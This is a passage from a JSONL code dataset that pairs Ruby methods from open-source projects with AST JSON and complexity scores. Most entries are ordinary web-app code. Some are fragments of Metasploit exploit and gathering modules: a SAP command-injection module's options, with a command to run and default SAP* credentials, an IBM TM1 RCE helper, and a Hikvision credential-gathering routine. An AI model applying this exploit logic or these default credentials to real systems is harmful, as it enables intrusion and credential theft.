\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.f-secure.com/tools/sap-metasploit-modules/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.f-secure.com/archive/sap-parameter-injection/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"nmonkee\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CLIENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SAP Client\"]},{\"type\":\"str\",\"children\":[\"001\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"SAP*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"06071992\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"OS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Target OS\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"windows\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Command to run\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"bd62486b-b200-4770-a9d3-b2166aa56bc1"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/app/controllers/post_voting/votes_controller.rb","start_line":22,"raw_source":"def create_comment_vote\n comment = find_comment\n ensure_can_see_comment!(comment)\n ensure_can_vote(comment)\n\n if PostVoting::VoteManager.vote(\n comment,\n current_user,\n direction: PostVotingVote.directions[:up],\n )\n render json: success_json\n else\n render json: failed_json, status: :unprocessable_entity\n end\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_comment_vote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"find_comment\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_can_see_comment!\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[null,\"ensure_can_vote\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostVoting\"]},\"VoteManager\"]},\"vote\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostVotingVote\"]},\"directions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"up\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"3d28c603-4c39-43f6-a0b7-cf8c7581eebf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb","start_line":393,"raw_source":"def restore_auth(app, auth_current)\n print_status(\"Restoring original authentication method #{auth_current}\")\n upd_cent = update_auth(auth_current, restore: true)\n s = get_socket(app[2], app[3], app[5])\n sock_rw(s, upd_cent, ignore: true)\n s.close\n end","complexity_score":11.65,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_auth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"arg\",\"children\":[\"auth_current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Restoring original authentication method \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_current\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upd_cent\",{\"type\":\"send\",\"children\":[null,\"update_auth\",{\"type\":\"lvar\",\"children\":[\"auth_current\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"restore\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[null,\"get_socket\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sock_rw\",{\"type\":\"lvar\",\"children\":[\"s\"]},{\"type\":\"lvar\",\"children\":[\"upd_cent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"close\"]}]}]}","id":"66d91402-46ce-4436-a88e-71d87d13f17b"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_roundrobin.rb","start_line":54,"raw_source":"def process(tag, es)\n next_output.emit_events(tag, es)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_output\"]},\"emit_events\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"es\"]}]}]}","id":"f1bb3bcf-0593-4c00-b1e4-64894634f4b3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/entity.rb","start_line":248,"raw_source":"def validate_parent_is_a_group\n errors.add(:parent, s_('BulkImport|must be a group.')) unless parent.group_entity?\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_parent_is_a_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"group_entity?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"BulkImport|must be a group.\"]}]}]}]}]}","id":"7f7bab7c-78a6-4d04-9482-284966c1bc97"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/linear/callbacks_controller.rb","start_line":56,"raw_source":"def account_id\n return unless params[:state]\n\n verify_linear_token(params[:state])\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"account_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"verify_linear_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]}]}]}]}","id":"75cc7600-fa58-4f25-bd3c-0202cd6f1c1c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb","start_line":323,"raw_source":"def run\n case action.name\n when 'Automatic'\n print_status('Running in automatic mode')\n get_creds\n get_config\n take_snapshot\n when 'Credentials'\n get_creds\n when 'Configuration'\n get_config\n when 'Snapshot'\n take_snapshot\n end\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Running in automatic mode\"]}]},{\"type\":\"send\",\"children\":[null,\"get_creds\"]},{\"type\":\"send\",\"children\":[null,\"get_config\"]},{\"type\":\"send\",\"children\":[null,\"take_snapshot\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials\"]},{\"type\":\"send\",\"children\":[null,\"get_creds\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Configuration\"]},{\"type\":\"send\",\"children\":[null,\"get_config\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Snapshot\"]},{\"type\":\"send\",\"children\":[null,\"take_snapshot\"]}]},null]}]}","id":"ba07140d-6a96-40de-870a-c1b7759df7b2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/owncloud_phpinfo_reader.rb","start_line":61,"raw_source":"def roots\n if datastore['ROOT'] == 'all'\n return ['', 'owncloud']\n end\n\n datastore['ROOT']\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"roots\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ROOT\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"all\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"owncloud\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ROOT\"]}]}]}]}","id":"5b62cae1-1a79-4e4f-b916-ca7239e837d7"} {"repo_name":"forem","file_path":"./repos/forem/app/models/tag.rb","start_line":167,"raw_source":"def self.followed_tags_for(follower:)\n Tag\n .select(\n \"tags.bg_color_hex\",\n \"tags.hotness_score\",\n \"tags.id\",\n \"tags.name\",\n \"tags.text_color_hex\",\n \"followings.points\",\n )\n .joins(:followings)\n .where(\"followings.follower_id\" => follower.id, \"followings.follower_type\" => follower.class_name)\n .order(hotness_score: :desc)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"followed_tags_for\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"follower\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"select\",{\"type\":\"str\",\"children\":[\"tags.bg_color_hex\"]},{\"type\":\"str\",\"children\":[\"tags.hotness_score\"]},{\"type\":\"str\",\"children\":[\"tags.id\"]},{\"type\":\"str\",\"children\":[\"tags.name\"]},{\"type\":\"str\",\"children\":[\"tags.text_color_hex\"]},{\"type\":\"str\",\"children\":[\"followings.points\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"followings\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"followings.follower_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follower\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"followings.follower_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follower\"]},\"class_name\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hotness_score\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"1837f490-3bb7-4c9a-92f6-ec242c62ad92"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/uploads/local.rb","start_line":53,"raw_source":"def storage_dir\n @storage_dir ||= File.realpath(Gitlab.config.uploads.storage_path)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@storage_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"realpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"uploads\"]},\"storage_path\"]}]}]}]}","id":"59fd9335-cc40-4659-acdf-1dd6f37cf241"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/members/invite_reminder_mailer_preview.rb","start_line":19,"raw_source":"def member\n Member.not_accepted_invitations.with_created_by.last\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"member\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"not_accepted_invitations\"]},\"with_created_by\"]},\"last\"]}]}","id":"5ae15b97-056c-4654-b5e5-20b63e135eab"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/each_with_object.rb","start_line":69,"raw_source":"def autocorrect_block(corrector, node, return_value)\n corrector.replace(node.send_node.loc.selector, 'each_with_object')\n\n first_arg, second_arg = *node.arguments\n\n corrector.swap(first_arg, second_arg)\n\n if return_value_occupies_whole_line?(return_value)\n corrector.remove(whole_line_expression(return_value))\n else\n corrector.remove(return_value)\n end\n end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"return_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]},\"loc\"]},\"selector\"]},{\"type\":\"str\",\"children\":[\"each_with_object\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_arg\"]},{\"type\":\"lvasgn\",\"children\":[\"second_arg\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"swap\",{\"type\":\"lvar\",\"children\":[\"first_arg\"]},{\"type\":\"lvar\",\"children\":[\"second_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"return_value_occupies_whole_line?\",{\"type\":\"lvar\",\"children\":[\"return_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"whole_line_expression\",{\"type\":\"lvar\",\"children\":[\"return_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"return_value\"]}]}]}]}]}","id":"166f75c8-cec2-46af-8abb-d6b3d34740b2"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":229,"raw_source":"def tax_category\n @tax_category ||= if self[:tax_category_id].nil?\n product.tax_category\n else\n Spree::TaxCategory.find_by(id: self[:tax_category_id]) || product.tax_category\n end\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"tax_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tax_category\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"tax_category_id\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product\"]},\"tax_category\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"TaxCategory\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"tax_category_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product\"]},\"tax_category\"]}]}]}]}]}","id":"f07d73ff-5f8d-4591-aeb9-50f464129722"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/ldap.rb","start_line":41,"raw_source":"def payload\n {\n net_ldap_count: count,\n net_ldap_duration_s: duration\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"net_ldap_count\"]},{\"type\":\"send\",\"children\":[null,\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"net_ldap_duration_s\"]},{\"type\":\"send\",\"children\":[null,\"duration\"]}]}]}]}","id":"850523ac-f123-4b89-921a-c5da8e019021"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-zendesk-plugin/lib/discourse_zendesk_plugin/helper.rb","start_line":74,"raw_source":"def get_latest_comment(ticket_id)\n ticket = ZendeskAPI::Ticket.new(zendesk_client, id: ticket_id)\n last_public_comment = nil\n\n ticket.comments.all! { |comment| last_public_comment = comment if comment.public }\n last_public_comment\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_latest_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ticket_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ticket\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ZendeskAPI\"]},\"Ticket\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"zendesk_client\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ticket_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_public_comment\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket\"]},\"comments\"]},\"all!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"public\"]},{\"type\":\"lvasgn\",\"children\":[\"last_public_comment\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"last_public_comment\"]}]}]}","id":"876dfd8e-838b-46da-bfb2-584fe47fe43b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipelines/update_metadata_service.rb","start_line":6,"raw_source":"def initialize(pipeline, current_user:, params: {})\n @pipeline = pipeline\n @current_user = current_user\n @params = params\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"2ecf5d8d-3aae-4795-9e3a-d1a31d4ce4bf"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/quandora/test/test_quandora_api.rb","start_line":25,"raw_source":"def test_initialize\n assert_equal @domain, @quandora.domain\n assert_equal @username, @quandora.username\n assert_equal @password, @quandora.password\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quandora\"]},\"domain\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quandora\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quandora\"]},\"password\"]}]}]}]}","id":"93892abd-6de3-4e75-a363-f5109507abc5"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":2274,"raw_source":"def session_is_trusted?\n server_session_confirmed? || user_just_created\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"session_is_trusted?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session_confirmed?\"]},{\"type\":\"send\",\"children\":[null,\"user_just_created\"]}]}]}","id":"6924717c-7888-4abc-bb0d-eb4c7cb3da38"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/validate/external.rb","start_line":86,"raw_source":"def validation_service_token\n Gitlab::CurrentSettings.external_pipeline_validation_service_token || ENV['EXTERNAL_VALIDATION_SERVICE_TOKEN']\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validation_service_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"external_pipeline_validation_service_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXTERNAL_VALIDATION_SERVICE_TOKEN\"]}]}]}]}","id":"243e875f-ed70-4e8f-a080-dc07f480878a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/base_activity_provider.rb","start_line":184,"raw_source":"def event_params(event_data)\n params = { provider: self,\n event_id: event_data[\"event_id\"],\n event_description: event_data[\"event_description\"],\n author_id: event_data[\"author_id\"].to_i,\n journable_id: event_data[\"journable_id\"],\n project_id: event_data[\"project_id\"].to_i }\n\n %i[event_name event_title event_type event_description event_datetime event_path event_url].each do |a|\n params[a] = send(a, event_data) if self.class.method_defined? a\n end\n\n params\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"event_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"event_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"event_description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"author_id\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"journable_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]},\"to_i\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_name\"]},{\"type\":\"sym\",\"children\":[\"event_title\"]},{\"type\":\"sym\",\"children\":[\"event_type\"]},{\"type\":\"sym\",\"children\":[\"event_description\"]},{\"type\":\"sym\",\"children\":[\"event_datetime\"]},{\"type\":\"sym\",\"children\":[\"event_path\"]},{\"type\":\"sym\",\"children\":[\"event_url\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\